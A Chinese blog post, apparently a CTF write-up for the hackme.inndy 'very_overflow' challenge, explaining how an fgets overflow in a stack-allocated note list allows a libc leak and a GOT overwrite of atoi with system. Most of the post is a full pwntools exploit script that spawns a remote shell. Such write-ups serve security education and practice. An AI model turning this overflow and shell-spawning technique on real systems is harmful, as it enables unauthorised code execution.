本文最后更新于:星期三, 一月 2日 2019, 4:19 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/very_overflow/very_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开启了NX,并且程序是32位的。简单的运行了下,发现程序有4个功能。题目提供了源码就不用ida看了。这个程序模拟一个node的分配系统,但是没有用到堆,而是在栈上分配

node的结构体:

struct NOTE {
    struct NOTE* next;//存储着下个note地址的指针
    char    data[128];
};

程序的4个功能

1) add node 新建一个node 
2) edit node 对给定下标的node进行编辑
3) show node 将给定下标的node的相关内容打印出来
4) dump nodes 将全部note的相关内容打印出来

这个程序主要 漏洞存在 add 和 edit 功能上

add一个新 node时,它设置node->next的操作有问题,单独看是没什么问题的。

 node->next = (struct NOTE*)(node->data + strlen(node->data) + 1);

edit用的是fgets函数,它读取的长度是固定的

fgets(node->data, sizeof(node->data), stdin);//这里 sizeof(node-data) = 128
// 如果创建的node的data大小比这个小,那么在edit时就会造成溢出,就可以修改下个node的next字段,达到任意地址读写的操作

具体思路:

利用edit的溢出修改下个node的next字段为got表的地址
通过show功能打印出libc内地址
在通过edit功能修改atoi函数在got表的内容为 system函数地址
然后发送 '/bin/sh\x00'字符串 就可以getshell了

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./very_overflow')
    elf = ELF('./very_overflow')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7705'
    p = remote(host,port)
    elf = ELF('./very_overflow')
    libc = ELF('./libc-2.23.so.i386')

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


def add(content):
    ru("Your action:")
    sl('1')
    ru("note: ")
    sd(content)

def edit(idx,content):
    ru("Your action:")
    sl('2') 
    ru(" edit: ")
    sl(str(idx))
    ru("data: ")
    sd(content)

def show(idx):
    ru("Your action:")
    sl('3')
    ru('Which note to show: ')
    sl(str(idx))

add('a'*8+'\n')
add('b'*8+'\n')
add('c'*8+'\n')

edit(0,'a'*0xa + p32(elf.got['__libc_start_main'])+'\n')
show(2)
ru("Next note: ")
leak = int(p.recvline().strip('\n'),16)
print hex(leak)
libc_base = leak - 0x18540
system = libc_base + libc.symbols['system']

edit(2,p32(system)*3+'\n')
rc()
sl("$0")
sl('5')
p.interactive()

hackme.inndy_writeup      writeup

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!